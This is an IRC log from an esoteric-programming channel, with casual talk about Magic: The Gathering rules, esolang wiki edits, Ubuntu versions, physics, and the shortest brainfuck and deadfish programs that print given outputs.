23:02:53 <b_jonas> tswett: that's easy. M-Hack on Eyeblight's Ending.
23:03:36 <tswett> Man, implementing text-changing effects is gonna be interesting.
23:04:30 <tswett> Instead of a card referring to "Color.Red", it'd have to refer to "this.ModifiedTextColors.Red" to get the color which the printed word "red" currently refers to due to text-changing effects.
23:04:53 <tswett> A stupid way of doing that would be to have a member called "Color" which shadows the class... or would the class shadow the member? I don't remember.
23:08:20 <b_jonas> is there only one card with four or more creature types on the type line according to current oracle text?
23:08:24 <b_jonas> how the heck did they do that?
23:08:30 <b_jonas> I thought there had to be dozens of such cards
23:09:25 <b_jonas> it's a Centaur Druid Scout Archer
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23:10:02 <b_jonas> mind you, Figure of Destiny evolves (not as in the rules term) to a Kithkin Spirit Warrior Avatar
23:10:38 <tswett> Wonder if they errata'd Scout in because it has "Scout" in the title and Archer in because it's depicted with a bow and arrow.
23:11:20 <b_jonas> probably around the Great Creature Type Update at Lorwyn
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23:12:28 <b_jonas> but I thought there had to be a lot of creatures with four creature types in the oracle text. not printed, mind you, four creature types wouldn't fit on the type line except in very unusual circumstances, but oracled after the fact.
23:13:42 <b_jonas> hmm, ok, maybe not _that_ unusual
23:15:42 <b_jonas> "Creature – Kor Nomad Solider Zombie" or "Creature – Kor Shaman Elder Scout" could probably fit, if the expansion symbol isn't a wide one
23:16:22 <tswett> Assembly-Worker Dreadnought Homunculus Shapeshifter.
23:16:33 <tswett> That's what I'm going to name my first child. Assembly-Worker Dreadnought Homunculus Shapeshifter Swett.
23:17:00 <tswett> "David?" "Here." "Maureen?" "Here." "Assembly-Worker?" "Here."
23:17:53 <b_jonas> what if Sauron was a Legendary Creature – God Eye ?
23:18:25 <b_jonas> Elder is one of the crazier creature types by the way
23:18:50 <b_jonas> only the Elder Dragons have it now
23:21:34 <zzo38> And the cards that has all creature types too, would have to have it too
23:23:53 <HackEgo> [wiki] [[EsoKit/EsoKit.nsi.io]] N http://esolangs.org/w/index.php?oldid=45041 * Hppavilion1 * (+3137) Created page. Next step is to document what each command is and how it is mapped to the EsoKit.ek library.
23:24:41 <b_jonas> Nightmare and Horror are strange creature types too
23:24:46 <b_jonas> I'm not sure how they're supposed to work
23:25:05 <b_jonas> what is it that makes a creature a nightmare, a horror, or a nightmare horror?
23:25:57 <b_jonas> many of the Horrors seem to be what would count as demons in D&D
23:26:01 <HackEgo> [wiki] [[EsoKit/EsoKit.nsi.io]] M http://esolangs.org/w/index.php?diff=45042&oldid=45041 * Hppavilion1 * (+95) Changed command form
23:26:35 <HackEgo> [wiki] [[EsoKit/EsoKit.nsi.io]] M http://esolangs.org/w/index.php?diff=45043&oldid=45042 * Hppavilion1 * (+1) Fixed a < to <
23:27:46 <hppavilion[1]> Is there a way to use wikimarkup or parserfunctions to change how the title appears?
23:29:03 <HackEgo> [wiki] [[EsoKit/EsoKit.nsi.io]] M http://esolangs.org/w/index.php?diff=45044&oldid=45043 * Hppavilion1 * (+29) Attempted to fix the page title
23:29:24 <HackEgo> [wiki] [[EsoKit/EsoKit.nsi.io]] M http://esolangs.org/w/index.php?diff=45045&oldid=45044 * Hppavilion1 * (+8) Attempted to fix the page title
23:30:48 <HackEgo> [wiki] [[EsoKit/EsoKit.nsi.io]] M http://esolangs.org/w/index.php?diff=45046&oldid=45045 * Hppavilion1 * (-37) Gave up on the page title; leaving it as-is (I suppose it makes more visible logical sense this way)
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23:34:32 <HackEgo> [wiki] [[Special:Log/move]] move * Hppavilion1 * moved [[Material Measurements]] to [[EsoKit/EsoKit.ek.math.mm]]: Incorporated into a new library
23:37:31 <HackEgo> [wiki] [[EsoKit/EsoKit.ek.math.mm]] http://esolangs.org/w/index.php?diff=45050&oldid=45048 * Hppavilion1 * (+377) Incorporated properly into the EsoKit.
23:39:02 <HackEgo> [wiki] [[EsoKit/EsoKit.ek.math.mm]] M http://esolangs.org/w/index.php?diff=45051&oldid=45050 * Hppavilion1 * (+1) Formatting
23:54:31 <HackEgo> [wiki] [[Pantheon]] N http://esolangs.org/w/index.php?oldid=45052 * Hppavilion1 * (+549) Created Page
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00:11:55 <HackEgo> [wiki] [[Canonical ingredients-oriented language]] N http://esolangs.org/w/index.php?oldid=45053 * Hppavilion1 * (+726) Created Page
00:22:39 <HackEgo> [wiki] [[Canonical ingredients-oriented language]] http://esolangs.org/w/index.php?diff=45054&oldid=45053 * Hppavilion1 * (+452) MOAR things
00:23:00 <HackEgo> [wiki] [[Canonical ingredients-oriented language]] M http://esolangs.org/w/index.php?diff=45055&oldid=45054 * Hppavilion1 * (+1) Fixed a break in the grammar block
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00:33:18 <hppavilion[1]> An interesting data structure would be the 2D stack or queue
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00:44:12 <tswett> That would be interesting.
00:44:34 <tswett> I guess you'd push or pop an entire row or column at once. That's one way of doing it, at least.
00:50:46 <zzo38> I think the type line normally makes it a Nightmare or Horror. But, Demon is a different type it is not the same thing, so no it does not count
00:51:10 <zzo38> (Except for cards that have both types, whether implicitly or explicitly)
00:58:53 <hppavilion[1]> tswett: One idea is that, when you dequeue an item from a 2-Queue, you dequeue a queue, dequeue an item from that queue called i, enqueue the queue you dequeued, and return i
00:59:13 <hppavilion[1]> And enqueueing would dequeue a queue, enqueue an item into it, then enqueue the new queue
01:00:48 <hppavilion[1]> Even better, you have the "Exchange queue", on which there is an additional operation (possibly with enqueue and dequeue removed): It is of the form x -> x, and it takes one argument. It equeues an item then dequeues an item and returns it
01:01:08 <hppavilion[1]> A 2-exchange queue kind of rolls each time and is in the shape of a squeare
01:08:32 <HackEgo> [wiki] [[Pantheon]] http://esolangs.org/w/index.php?diff=45056&oldid=45052 * Hppavilion1 * (+87) Clarification
01:12:06 <tswett> I definitely like your first idea. That sounds pretty interesting.
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01:15:48 <tswett> Let's see. I think I want the organization of my program to be like so: the effects of an event are determined, then the event occurs, then the effects of another event are determined, and so forth.
01:16:16 <tswett> An "event" is the enstacking of a spell or ability, the resolution of a spell or ability, a special action, a state-based action, or a turn-based action.
01:19:15 <tswett> Then the main loop is pretty easy to describe.
01:19:56 <tswett> If a turn-based action is due, it happens, then the loop starts over. Otherwise, state-based actions are checked; if one of them is due, it happens, then the loop starts over.
01:20:58 <tswett> Otherwise, if there are triggered abilities that need to be enstacked, then... all of them go on the stack simultaneously, is that right? Then a player receives priority.
01:21:59 <tswett> Otherwise, a spell or ability resolves, then a player receives priority...
01:22:07 <tswett> That's definitely not completely accurate.
01:26:37 <boily> apparently, the 15.10 upgrade is quite hefty. will ubuntupdate that some time this week...
01:27:47 <lambdabot> quintopia said 3h 11m 55s ago: you always leave just a scant few hours before i arrive. and you never have any massages.
01:27:51 <tswett> Okay, I think I know exactly what the loop looks like.
01:33:11 <tswett> 1. If there are any state-based actions that need to happen, then one of them happens, and then repeat step 1. 2. If there are any triggered abilities that need to go on the stack, then all of them go on the stack. 3. A player receives priority; they may cast a spell, activate an ability, take a special action, or pass. 4. If they did not pass, return to step 1. 5. Otherwise, if a player needs to receive priority, return to step 3. 6. Otherwise,
01:33:11 <tswett> proceed to the next step. A turn-based action occurs, if applicable. 7. Return to step 1.
01:37:53 <tswett> Does that sound right?
01:44:14 <zzo38> If there is more than one triggered ability that are different, the controller has to decide the order, and also the target, I think
01:44:51 <tswett> I think every player chooses the order to enstack their own triggered abilities. in APNAP order.
01:45:41 <tswett> An interesting side effect of this is that the NAP's triggered abilities are faster than the AP's.
01:46:20 <zzo38> Yes, if they occur at the same time between getting priority
01:46:42 <zzo38> Maybe puzzles can be made that can involve such things
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02:01:07 <\oren\> Can you end a game by creating an infinite loop of state-based effects?
02:03:40 <tswett> If you manage to create an infinite loop of state-based actions, the game ends in a draw, assuming the actions don't allow players to make choices.
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02:03:50 <tswett> I don't know if it's actually possible to create an infinite loop of state-based actions, though.
02:04:18 <tswett> I think I know how I'm gonna have my game handle mandatory infinite loops.
02:05:09 <tswett> If the Main Loop happens 1,000 times without a player receiving priority, the game is assumed to be in an infinite loop and it's stopped.
02:06:20 <tswett> All right, what did I get wrong on *this* test?
02:07:08 <tswett> Miracle is a triggered ability, not a static ability. So... I guess the way that that works must be that when you draw the card with Miracle, it's in your hand, but it still must be kept revealed so it can be identified as the card that was drawn?
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02:10:00 <tswett> Activating a permanent's ability is not "tapping the permanent for mana" unless the activation cost includes the tap symbol, even if you tap the permanent to pay the cost.
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02:23:39 <zzo38> Miracle is a static ability linked to a triggered ability.
02:30:27 <nchambers> oh man I had the best magic deck build, and then they came out with commons that were twice as strong as my cards
02:30:36 <Sgeo> lifthrasiir, you do Rust?
02:30:46 <Sgeo> Oh is your .zip lib maintained?
02:31:41 <tswett> So yeah. When you reveal the card, it's technically still in your hand, but you have to keep it revealed until it leaves your hand or the triggered ability leaves the stack.
02:31:51 <tswett> Booyah, I got 100% on that Easy Practice exam.
02:32:21 <Sgeo> Maybe I should just use Python for this
02:33:50 <Sgeo> Or Perl6 if it was 6.chrismas
02:37:18 <zzo38> In older rules there were interrupts and a lot of convoluted stuff having to do with them; mana abilities were interrupts and could be responded to by other interrupts; instants could only be countered while on the "call stack" (anything on the call stack can be responded to only by interrupts), but then moves to the main stack instead of resolving immediately
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02:42:23 * adu does not like Python very much
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02:47:34 <adu> Sgeo: actually, funny enough, I was writing a Rust grammar in Perl6 earlier
02:48:15 <Sgeo> I think I like the error handling of Rust better (explicit better than implicit), but Perl6 Failures do remind me a bit of the Rust way (except with implicit handling)
02:49:53 <adu> I think Rust will replace C++, and Perl6 will replace Regex and Antlr
03:07:38 <zgrep> adu: I don't see perl6 replacing a parser generator...
03:13:29 <adu> zgrep: I see your point
03:13:44 <zzo38> When I purchased this computer they recommended that I do not upgrade Ubuntu; do you know why? (It is the OEM version, if that matters here at all)
03:14:13 <zgrep> Nor do I see perl5 regex, with it's perl6-specific things, replacing the more-or-less simple rules that are considered to more-or-less be regular expressions.
03:14:46 <adu> Ubuntu LTS 12 and LTS 14 are very different
03:15:08 <zzo38> What differences are they? Is it a different package manager?
03:15:24 <adu> zzo38: same, apt
03:15:50 <adu> but the differences I've encountered just dealing with python and sysadmin stuff could fill a small book
03:15:54 <zgrep> I see three reasons. 1) They installed some stuff and want you to keep it. 2) Newer stuff does things the computer doesn't support 3) They're afraid of new things and/or were simply told to say that to stop unruly customers from doing unruly things with their Ubuntu.
03:17:03 <zzo38> I uninstalled most of the stuff that it came with, and installed many other packages, in some cases having to add additional packages that were not already listed in the package manager
03:18:03 <adu> One trivial example is /etc/motd, LTS 12 writes the dynamic version to /run/motd, and symlinks /etc/motd to it, but LTS 14 writes the dynamic version to /run/motd.dynamic, with an extra line in /etc/pam.d/login for motd and motd.dynamic
03:18:56 <adu> 14 makes more sense, because motd has historically been static, so it should be the dynamic version that has the non-standard name
03:18:58 <zzo38> I also happen to know that this company will not preinstall any nonfree software (although it comes with a paper that explains how to install Flash if you need it, they refuse to preinstall Flash; I did not install it though)
03:19:48 <adu> zzo38: but that's just one difference I've noticed
03:20:15 <zzo38> As far as I know, I have no nonfree native-code programs installed
03:20:59 <adu> zzo38: http://serverfault.com/questions/606089/would-it-be-advised-to-use-ubuntu-14-04-lts-over-12-04-lts
03:23:26 <adu> zzo38: also, I believe in 12 you have to add ifup ifdown scripts to /etc/network/interfaces, but with 14 you can use /etc/network/ifdown.d/*
03:28:56 <zzo38> The man pages seem to explain how message of the day works in Debian anyways, and how to force it to be static and other stuff related to it
03:29:58 <adu> zzo38: most of what I've noticed is that config files moved
03:31:39 <\oren\> Every god damn anime has an episode where they make chocolate
03:32:41 <zzo38> \oren\: Are you sure?
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03:34:11 <adu> any science geeks here?
03:34:42 <adu> any one who likes music?
03:34:56 <zzo38> What kind of music and what kind of science?
03:35:00 <adu> http://melodysheep.bandcamp.com/album/symphony-of-science-collectors-edition
03:35:16 <adu> My ears are very happy right now
03:35:53 <\oren\> zzo38: I'm pretty sure. almost every one I've watched has had one.
03:36:53 <zzo38> I think there is no make chocolate in Akagi and Kaiji anime
03:38:06 <zzo38> adu: I do study science sometimes (especially physics, but others too), and I do have music and also I made up some of my own music file too but also other music.
03:42:52 <adu> zzo38: I like particle physics
03:43:37 <adu> zzo38: partly because I'm convinced that the weak and strong forces are framed incorrectly, and so I read particle data until I can come up with a better theory
03:45:01 <\oren\> zzo38: Good point. I guess the phenomenon must be limited to anime that feature cute girls.
03:45:15 <adu> but I'm not the only one, Faynman also said something similar, that we know QED (EM) to like 40 decimal places, and we know QCD (weak and strong) to like 2 decimal places
03:45:34 <\oren\> (There are no cute girls in kaiji or akagi, as far as I recall[C)
03:46:35 <\oren\> actually, I don't recall there being any women at all in akagi.
03:49:56 <\oren\> apparently the world of yakuza and crazy gamblers is a man's world
03:50:15 <zzo38> Yes, you can try to see if there is a better theory, I know there are some other unsolve problem in the physics too, such as quantum gravity, I think?
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03:50:36 <zzo38> \oren\: I think I read it is because Fukumoto is not very good at draw women, so usually he does not
03:53:24 <zzo38> But, is there any more Famicom programmers in here?
03:56:47 <adu> zzo38: nope
03:56:59 <adu> zzo38: quantum gravity was based on the graviton
03:57:44 <adu> zzo38: but the graviton and the Higgs particle are mutually exclusive theories, they can't both be true, and so since the Higgs boson was discovered, it means that quantum gravity is false
03:58:28 <adu> hppavilion[2]: but what happens when you instantiate a class?
03:58:38 <zzo38> O, I didn't know it is mutually exclusive
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03:58:58 * adu *mind blown*
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04:08:47 <adu> sounds like OMG
04:08:54 <adu> OMG = Object Management Group
04:09:42 <adu> they have these 3 things called CWM, UML, and MOF, and if you read their object models they're almost word for word the same
04:10:15 <adu> except CWM is full of models, UML is full of metamodels, and MOF is full of metametamodels
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04:50:02 <zgrep> I fail to see that much of a difference between: everything's a type, everything's an object, and everything's a class...
05:03:53 <\oren\> there isn't a difference. if everything is the same then everything is the same
05:04:08 <\oren\> err... that isn't what I mean
05:04:19 <zzo38> But it can depend how its functioning is working too
05:05:18 <\oren\> I mean, if everything is the same 'thing', then that 'thing' must be usable like a function or a class or an object
05:08:36 <zzo38> I think in Python a class can be used like a function; I had to fix a hard drive wiping program in Python to do some additional things, and the tasks were implemented as function that return process objects; this one was different, and since I knew from some program I have seen before that a class can be use as function, I did the same thing here
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09:36:31 <Jafet> Before long, tswett will end up implementing a ZFC logic checker to determine that some axiomatisation of the game rules has a computable model
09:36:56 <Jafet> Hmm, there is https://github.com/magefree/mage
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10:45:35 <izabera> http://archive.defense.gov/home/features/video/player.aspx?dQw4w9WgXcQ
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11:05:08 <HackEgo> password2: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
11:06:46 <password2> I have a random question about your wiki, How many active user do you guys have?
11:07:18 <password2> I'm trying to prove a point to my manager that mediawiki is not solely for large communities
11:10:22 <izabera> git also works for personal projects but it was designed for the linux kernel
11:10:25 <oerjan> https://esolangs.org/wiki/Special:ActiveUsers has a list which seems to go 30 days back
11:11:26 <password2> oh , duh , i do have access to view it
11:11:58 <password2> i have not been on there activily since 2014
11:12:57 * oerjan counts 20 with more than 2 actions
11:14:45 <password2> what does the 'Display users starting at' field do?
11:14:55 <password2> or what does it expect as an input?
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11:16:09 <oerjan> any word, and then it starts there alphabetically
11:16:21 <oerjan> doesn't make much sense when the whole page isn't split up
11:16:50 <oerjan> no it's not. there are some special pages that are far larger and you need to use that to see anything
11:16:58 <password2> would be more usefull to be able to set time frame and # of actions
11:17:03 <oerjan> (other than the first subframe)
11:17:25 <password2> i can see that it could be usefull
11:20:23 <oerjan> you mean an actual table of subpages?
11:21:05 <oerjan> i imagine if this is designed for wikipedia, it would be far too resource-heavy
11:21:25 <oerjan> also then it would change every second
11:22:05 <password2> maybe I'm just too much of a fanboy for datatables
11:22:14 <oerjan> well it wouldn't have to update the page list constantly
11:23:08 <oerjan> i suppose it could decide the boundaries a bit less frequently
11:23:30 <oerjan> in any case, it's not like we look at that list often.
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11:23:52 <oerjan> the whole user list is mostly spammers :P
11:23:55 <GoToTell> Question: has anyone done any work with Cellular Automatons using multiple rules? Like, either two CA rules alternating after each time step, or two CA rules applied to different regions of the same cell state space.
11:25:27 <oerjan> GoToTell: probably, although isn't the first equivalent to a cellular automaton with bigger time step and neighborhood
11:25:51 <int-e> and the second one to a CA with twice the number of states (using one "bit" to encode the regions)
11:26:40 <int-e> and yeah, the first one can also be done with twice the number of states. (In both cases you get some garbage behaviour)
11:28:08 <int-e> well, there are configurations that don't correspond to the right regions in the second case, and configurations that have "out of sync" (wrt. to odd/even generations) cells in the first case.
11:28:08 <oerjan> GoToTell: the margolus neighboorhood CAs are a bit like this, anyway.
11:28:26 <oerjan> https://en.wikipedia.org/wiki/Block_cellular_automaton
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11:30:25 <mroman> https://esolangs.org/wiki/ESO_Sockets
11:30:34 <mroman> ^- this really does not contain any useful information o_O
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11:32:17 <oerjan> i guess hppavilion moved on before he got to put anything in
11:32:35 <mroman> Yeah, I saw it just has one edit, and that's the create edit.
11:34:17 <mroman> I know I have done that as well. Create pages of WIPs
11:35:02 <mroman> but generally they shouldn't be there unless there's some substantial work to show.
11:36:39 <oerjan> anyway, my esolangs backlog means i haven't got to that page yet. maybe i'll delete it then.
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11:38:19 <mroman> Designing and implementing an esolang is rather a trivial task so at least if people do it and want to make the language known to others it should at least contain some reasonable documentation.
11:38:37 <mroman> That's only my opinion of course.
11:38:54 <oerjan> i don't think that was meant to be an esolang, more part of hppavilion's "esoteric concepts" series
11:39:19 <mroman> The EsoSocket is not a language, yes.
11:39:59 <mroman> I know from my past how these things happens :)
11:40:18 <mroman> You have some idea, make an esowiki article (to make it known) but in the end you just end up cluttering :)
11:41:57 <mroman> There are articles without enough documentation to write an interpreter for it.
11:42:08 <password2> only thing I have made thats to do with esolangs is bf^
11:42:43 <mroman> Some of them were created by me
11:42:47 <mroman> like https://esolangs.org/wiki/Stlisp
11:42:53 <mroman> granted, there was an interpreter in C++ back then
11:43:07 <mroman> and the page doesn't contain enough information to rewrite the interpreter like it was back then.
11:43:51 <mroman> that makes it a question whether the article should continue to exist or not
11:44:48 <mroman> https://esolangs.org/wiki/Stlang <- same thing
11:46:26 <mroman> If I could delete them I probably would have done that already :D
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11:49:35 <HackEgo> [wiki] [[Special:Log/newusers]] create * Mroman * New user account
11:50:30 <HackEgo> [wiki] [[User:Mroman]] N http://esolangs.org/w/index.php?oldid=45057 * Mroman * (+125) Created page with "The almost living re-incarnation of [[User:Feuermonster]], same person, different account. (E-Mail-Account has been lost :()."
11:51:01 <mroman> eh. why did it capitalize the m :(
11:52:04 <HackEgo> [wiki] [[Burlesque]] http://esolangs.org/w/index.php?diff=45058&oldid=44537 * Mroman * (+38) /* Links */ added link to github repos
11:52:24 <mroman> (I'm tired of having to answer the captchas everytime :D)
11:53:07 <fizzie> I'm the nonstandard "Fizzie" on the wiki, too.
11:59:18 <oerjan> mroman: you can use the {{lowercase}} template hth
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12:05:04 <b_jonas> mroman: the default mode for mediawiki is that it capitalizes the first character of every page title, sadly. this can be turned off, and probably should have for esowiki, but it's probably too late now.
12:06:59 <b_jonas> mroman: on the other hand, even if the wiki had been set case insensitive, people would still give names to their esolangs that isn't valid as a page title, so it's probably just the frequency of that problem that changes.
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12:37:24 <mroman> What's the minimum bound for the length of a brainfuck program producing a text of length N?
12:38:51 <mroman> There's afaik no brainfuck constant larger than 18?
12:39:27 <mroman> that's the most trivial minimum bound
12:39:34 <mroman> but it can probably be done much shorter.
12:40:18 <Taneb> It can be done in N+1 if you don't care about "real" output
12:40:25 <Taneb> That is, +.........................
12:42:16 <mroman> well I'm assuming the text is arbitrarily random enough
12:44:12 <mroman> also you need to skip to a zero cell first.
12:44:17 <mroman> so 19 is probably not enough
12:52:12 <oerjan> are we talking _exactly_ length N, because if so it has to be of order O(log N) for most N, if only larger than N then it's uncomputable.
12:53:43 <oerjan> anyway, for some texts it has to be on the same order as the text itself
12:53:59 <oerjan> while for some texts it's uncomputable.
12:54:13 <fizzie> mroman: The brainfuck constants expect different numbers of zero scratch cells, you can't just concatenate them to change the value in the current cell.
12:54:19 <oerjan> well i guess it's usually uncomputable
13:00:34 <oerjan> step 1: encode the bits as + = 0, > = 1. step 2: encode the length somehow, so you can get back to the beginning. step 3: run a decoding and printing program.
13:01:32 <oerjan> from this i conclude that you can do it in 8*length + O(1).
13:01:48 <oerjan> make that 8*length + O(log length).
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13:03:10 <oerjan> you can shorten it by using -, but then you get a more complex coding
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13:08:14 <mauris_> you can prefix the program with -> and just scroll back looking for a 255 on the tape, not very complex
13:10:30 <mauris_> i doubt you can do better than 8*N+O(1) asymptotically!
13:11:00 <b_jonas> oerjan: are you sure you can read such a dense thing, with every cell used, with a brainfuck program?
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13:13:35 <oerjan> b_jonas: i don't see why not, you have plenty of room to the right.
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13:14:12 <oerjan> mauris_: i expect you can do better by using - more.
13:14:25 <oerjan> and who knows what madness you can get out of []
13:15:19 <oerjan> + followed by >, > followed by + or -, - followed by >.
13:15:44 <oerjan> * + followed by > or +, > followed by >, + or -, - followed by > or -.
13:16:17 <mroman> fizzie: Yes, that's why you need to skip to the right
13:16:47 <mroman> not all constants seem to terminate on the right-most cell they use
13:17:09 <oerjan> of course you are limited to no more than 128 + or - in a row, with 8 bit cells
13:17:40 <oerjan> but i don't think this affects the overall much
13:18:25 <oerjan> you can think of that as +/-, >+ and >-
13:19:04 <oerjan> nah that just makes it more complicated
13:19:32 <mauris_> hmm... what is the very best you could possibly do? there are 2^(8N) possible texts of length N and 8 possible instructions per byte of code so you take the log8 of that and get (8/3)*N
13:19:47 <oerjan> [[1,1,0],[1,1,1], [0,1,1]] is the transition matrix, i think it's basically the norm of that.
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13:20:16 <oerjan> mauris_: there are several pairs of instructions that cancel each other, so you cannot quite get that
13:21:24 <mauris_> i meant, the very worst you can't do, or something
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13:23:36 <oerjan> > let m (p,r,m) = (p+r,p+r+m,r+m); (p,r,m) = iterate m (1,0,0) !! 1000 in map (logBase 2) [p,r,m]
13:23:55 <oerjan> > let mat (p,r,m) = (p+r,p+r+m,r+m); (p,r,m) = iterate mat (1,0,0) !! 1000 in map (logBase 2) [p,r,m]
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13:24:14 <oerjan> > let mat (p,r,m) = (p+r,p+r+m,r+m); (p,r,m) = iterate mat (1,0,0) !! n; m = 100 in map (logBase 2) [p,r,m] / n
13:24:27 <oerjan> > let mat (p,r,m) = (p+r,p+r+m,r+m); (p,r,m) = iterate mat (1,0,0) !! n; n = 100 in map (logBase 2) [p,r,m] / n
13:24:29 <lambdabot> arising from a use of ‘show_M226665793838954151314277’
13:24:29 <lambdabot> The type variable ‘b0’ is ambiguous
13:24:58 <oerjan> > let mat (p,r,m) = (p+r,p+r+m,r+m); (p,r,m) = iterate mat (1,0,0) !! n; n = 100 in map ((/fromIntegral n) . logBase 2) [p,r,m]
13:25:00 <lambdabot> [1.2515533031636121,1.2565533031636122,1.2515533031636121]
13:25:34 <oerjan> so about 1.25 bits per character +,> or -
13:28:26 <oerjan> > let n = 500; mat (p,r,m) = (p+r,p+r+m,r+m); (p,r,m) = iterate mat (1,0,0) !! n in map ((/fromIntegral n) . logBase 2) [p,r,m]
13:28:28 <lambdabot> [1.2675533031636121,1.2685533031636118,1.2675533031636121]
13:28:59 <HackEgo> D-modules are just modules over the ring of differential operators. Taneb invented them.
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13:30:52 <Taneb> (actually learning about modules RIGHT NOW)
13:31:00 <Taneb> `algebraic number theory
13:31:01 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: algebraic: not found
13:31:04 <Taneb> `? algebraic number theory
13:31:05 <HackEgo> algebraic number theory? ¯\(°_o)/¯
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13:34:51 <oerjan> `learn A module is like a vector space, except with a ring instead of a field.
13:34:54 <HackEgo> Learned 'module': A module is like a vector space, except with a ring instead of a field.
13:35:20 <HackEgo> Addition, subtraction and multiplication have a certain ring to them.
13:35:30 <Taneb> `? differential operators
13:35:31 <HackEgo> differential operators? ¯\(°_o)/¯
13:35:36 <Taneb> Same, HackEgo. Same.
13:36:09 <oerjan> `le/rn vector space/A vector space is just a module over a field.
13:37:23 <mauris_> `le/rn Haar measure/A Haar measure is what Dutch people use to find out how long their hair is.
13:38:40 <oerjan> `le/rn algebraic number theory/Algebraic number theory was invented by Fermat to prove his theorem, but he didn't have room to write it down.
13:38:42 <HackEgo> Learned «algebraic number theory»
13:39:22 <Taneb> Algebraic Number Theory is either Algebraic Number Theory or Algebraic Number Theory, or possibly both.
13:39:28 <Taneb> One of my seminar leaders told me so
13:41:05 <oerjan> Taneb: i think it's mostly the former hth
13:41:14 <Taneb> That's what he said too
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13:42:39 <HackEgo> A category is an enriched category where the enriching category is the category of classes.
13:42:42 <HackEgo> Bicategories are just categories where composition is only associative up to an isomorphism.
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13:42:42 <Taneb> (the two were actually different)
13:42:54 <Taneb> HackEgo: is that true?
13:45:18 <oerjan> `le/rn lie algebra/A Lie algebra is what you get if you take the region infinitesimally close to the identity of a Lie group and blow it up to normal size.
13:45:22 <b_jonas> `? infinitesimal generator
13:45:24 <HackEgo> infinitesimal generator? ¯\(°_o)/¯
13:46:46 <HackEgo> homotopy group? ¯\(°_o)/¯
13:47:06 <fungot> b_jonas: jsr vector ;alter system bus. only through ex- perimentation on your commodore music synthesizer inside your commodore 64, but not where you wish to have any keys been typed as spaces were inserted.
13:47:08 <HackEgo> fungot is our beloved channel mascot and voice of reason.
13:49:46 <fungot> GoToTell: 10 print"type 2 numbers" or variables. begin by asking the user program must jmp ( 300) points to the lower 8 bits wide. on cassette, anywhere from 1-25. depending on whether the resulting number only of identical bits in the
13:51:05 <HackEgo> singcoin norfulcoin guycoin totcoin bf-rlecoin undexcoin bubcoin piazecoin spearcoin rdinatiocoin grulieathmanicacoin vercoin bincoin ///coin antumcoin (())coin methacoin networkcoin arcemcoin udvcoin
13:52:06 <oerjan> `le/rn lie bracket/Politicians try to stay within the lie bracket: Not so many lies that voters cannot stand it, but not so few that they think you have nothing to give them.
13:53:56 <HackEgo> ub: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
13:54:05 <HackEgo> b: elcome o he nternational ub or soteric rogramming anguage esign nd eployment! or ore nformation, heck ut ur iki: <ttp://solangs.rg/>. (or he ther ind f soterica, ry #soteric n Fnet r ALnet.)
13:54:06 <HackEgo> oerjan elliott ais523 ais523 boily
13:55:50 <int-e> fungot: what would an insane hub be?
13:55:50 <fungot> int-e: there are comparison instructions, and is located in bits 2 to a variable name must appear where shown in appendix e gives you more flexibility and your program would list the token, to allow the program below uses this space is printed in the
13:56:37 <oerjan> ooh boolean google doodle
13:57:39 <oerjan> right, this is going to use my CPU all day, isn't it
13:58:23 <int-e> and it's not even javascript... must be CSS3 transitions.
14:01:29 <fizzie> Hm, is there more to it than the animated gif at https://www.google.co.uk/logos/doodles/2015/george-booles-200th-birthday-5636122663190528.2-hp.gif ?
14:02:32 <mroman> my program has found 213 optimal deadfish constants :D
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14:05:39 <int-e> fizzie: oh old-school...
14:06:57 <oerjan> oh, maybe it's just that.
14:07:52 <oerjan> for deadfish, that seems solvable in general.
14:08:20 <oerjan> i think we may have discussed it at one point.
14:10:14 <oerjan> there's never any point in incrementing or decrementing so many times that you could reach more than half-way to the next square, because then it's better to go there before squaring.
14:10:41 <oerjan> (except possibly around 256)
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14:43:34 <mroman> I'm hoping to find the next missing constants within this workday :)
14:45:58 <mroman> The longest so far is iissdddsdddddddddo
14:46:05 <mroman> (length 18, number 160)
14:54:00 <mroman> but I doubt that I'll find them this way
14:54:17 <mroman> nearest square to 250 is for example 15*15
14:54:26 <mroman> which is 25 away from 250
14:54:39 <mroman> there need to be at least 25 increments
14:55:14 <mroman> iiiisds(i)*25 is most likely the shortest one to produce 250.
14:55:32 <mroman> you can't overshoot 255
14:55:39 <mroman> because d checks for 256
14:55:54 <mroman> (i.e. if something is 256 it gets reset to zero)
14:56:04 <mroman> so overshooting 255 and doing decrements is not possible
14:56:19 <mroman> the only way is to try to get to the nearest square
14:58:59 <oerjan> mroman: i suspect the shortest constant is always the most obvious candidate
15:00:06 <oerjan> and only around 256 is that not simply the closest one
15:00:46 <oerjan> i _suppose_ it could be two candidates, when the distance is close to equal
15:01:53 <oerjan> > (160 - 12^2, 13^2 - 160)
15:03:21 <oerjan> oh and of course the shortest ways of getting two that are one apart cannot differ by more than 1
15:03:39 <oerjan> so there's no need to consider 12 there
15:03:57 <oerjan> > (4^2 - 13, 13 - 3^2)
15:04:10 <oerjan> _that_ looks close enough to be dubious
15:04:43 <oerjan> except, only enough to get two equal candidates
15:05:41 <oerjan> which is the same you found
15:06:57 <oerjan> now going by 3 instead
15:07:21 <oerjan> iiisiiiisddddddddd is slightly longer
15:08:00 <oerjan> consecutive squares are even and odd
15:08:10 <oerjan> so there's _never_ an exact midpoint.
15:08:52 <oerjan> which means you always go to the closest one. there _might_ be a different one that ties, but never a better one.
15:09:45 <oerjan> oh. again, exceptions near 256^2, possibly.
15:10:39 <oerjan> well, that's just because 256^2 is excluded.
15:11:43 <oerjan> and you cannot cross over, hm
15:11:58 <oerjan> i guess this requires looking at what the actual lengths of 255 and 257 are.
15:13:18 <oerjan> 15 and 17 are so close to 16 they're obviously iissd and iissi respectively
15:13:49 <oerjan> so 257 is two longer than 255.
15:15:46 <oerjan> which means 65537 should go via 255^2, 65538 doesn't matter which way.
15:16:12 <oerjan> and the rest go to the closest one.
15:18:14 * oerjan suddenly wonders if he just destroyed mroman's fun
15:23:23 <mroman> oerjan: http://codepad.org/Q1I5Cz2y
15:24:04 <oerjan> mroman: 3 should be iii
15:25:02 <oerjan> hm maybe it's because 1^2 is i rather than is, so the basic rules breaks for 3
15:26:42 <oerjan> because 1^2 and 2^2 have more than 1 difference in length
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15:31:07 <mroman_> http://codepad.org/ttmTweG5 <- if that didn't come through
